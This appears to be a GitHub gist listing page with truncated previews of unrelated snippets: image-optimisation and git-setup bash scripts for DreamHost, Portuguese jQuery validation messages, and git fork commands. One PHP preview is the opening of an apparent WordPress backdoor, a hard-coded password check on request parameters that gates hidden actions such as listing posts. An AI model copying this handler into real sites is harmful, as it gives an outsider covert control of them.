DreamHost PHP
Make PHP 7 default binary for CLI
ssh <server>
<?php | |
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b1f82ddd4a0b8e05818e991bf56d64d0')) | |
{ | |
switch ($_REQUEST['action']) | |
{ | |
case 'get_all_links'; | |
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) | |
{ | |
$data['code'] = ''; |
ssh <server>
#!/bin/bash | |
# Improved as per feedback from @pascal - https://gist.github.com/julianxhokaxhiu/c0a8e813eabf9d6d9873#gistcomment-3086462 | |
find . -type f -iname "*.png" -exec optipng -nb -nc {} \; | |
find . -type f -iname "*.png" -exec advpng -z4 {} \; | |
find . -type f -iname "*.png" -exec pngcrush -rem gAMA -rem alla -rem cHRM -rem iCCP -rem sRGB -rem time -ow {} \; | |
find . -type f \( -iname "*.jpg" -o -iname "*.jpeg" \) -exec jpegoptim -f --strip-all {} \; |
#!/bin/bash | |
# usage: "newgit some/path" | |
newgit() { | |
### SETTINGS ### | |
# this is the root of all your git folders | |
local LOCAL_GIT_ROOT=~/web | |
# this is your ssh [user]@[host] |
/* | |
* Translated default messages for the jQuery validation plugin. | |
* Locale: PT_BR | |
*/ | |
jQuery.extend(jQuery.validator.messages, { | |
required: "Este campo é requerido.", | |
remote: "Por favor, corrija este campo.", | |
email: "Por favor, forneça um endereço eletrônico válido.", | |
url: "Por favor, forneça uma URL válida.", | |
date: "Por favor, forneça uma data válida.", |
git clone git@github.com:YOUR-USERNAME/YOUR-FORKED-REPO.git
cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
# Create a new git repository on Dreamhost | |
# Function tweaked from that found at http://craigjolicoeur.com/blog/hosting-git-repositories-on-dreamhost | |
# | |
# Just add the code below to your .bashrc. | |
# Usage: | |
# newgit some-repo.git | |
# | |
# Then locally: | |
# | |
# git push --all ssh://$MACHINE/home/$USER/git/my-new-repos.git |